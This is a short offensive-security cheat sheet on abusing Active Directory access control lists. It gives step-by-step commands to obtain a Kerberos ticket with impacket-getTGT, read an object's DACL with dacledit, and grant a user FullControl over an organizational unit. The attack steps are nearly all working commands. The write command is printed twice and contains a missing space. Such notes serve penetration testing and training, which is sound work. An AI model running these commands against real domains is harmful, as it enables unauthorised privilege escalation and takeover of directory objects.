DACL (Discretionary Access Control List) Attack
DACL is a list of the trustees that are allowed or denied access to objects in Active Directory.
- [dacl](https://www.thehacker.recipes/a-d/movement/dacl)
- [access-control-lists](https://learn.microsoft.com/en-us/windows/win32/secauthz/access-control-lists)
Add Rights
We may be able to take a full control of securable objects by getting GenericAll permission on OU (Organizational Unit).
1. Ask TGT for Kerberos Authentication
If we want to use Kerberos authentication for attacking DACL, we need to retrieve a TGT for specific user at first. In addition, to avoid authentication error, we need to synchronize the system time with the domain controller using ntpdate or rdate.
sudo ntpdate example.local
# or
sudo rdate -n example.local
impacket-getTGT -dc-ip dc.example.local example.local/username:password
The getTGT above dumps a .ccache file which stores TGT.
After dumping the .ccache file, set it to an environment variable for using the later processing.
2. Read DACL
We can use Impacket's dacledit which has not yet been merged as of 2023/10/21.
The repository is here: https://github.com/ShutdownRepo/impacket/tree/dacledit
dacledit.py -action read -target TestGroup -principal username -dc-ip 10.0.0.1 example.local/username:password
# -use-ldaps: Use LDAPS instead of LDAP
# -k: Use Kerberos authentication
dacledit.py -action read -target TestGroup -principal username -dc-ip 10.0.0.1 example.local/username:password -use-ldaps -k
3. Write DACL
dacledit.py -action write -rights 'FullControl' -principal username -target-dn'OU=SERVICE USERS,DC=EXAMPLE,DC=LOCAL' -inheritance -dc-ip dc.example.local example.local/username:password -use-ldaps -k
# -use-ldaps: Use LDAPS instead of LDAP
# -k: Use Kerberos authentication
dacledit.py -action write -rights 'FullControl' -principal username -target-dn'OU=SERVICE USERS,DC=EXAMPLE,DC=LOCAL' -inheritance -dc-ip dc.example.local example.local/username:password -use-ldaps -k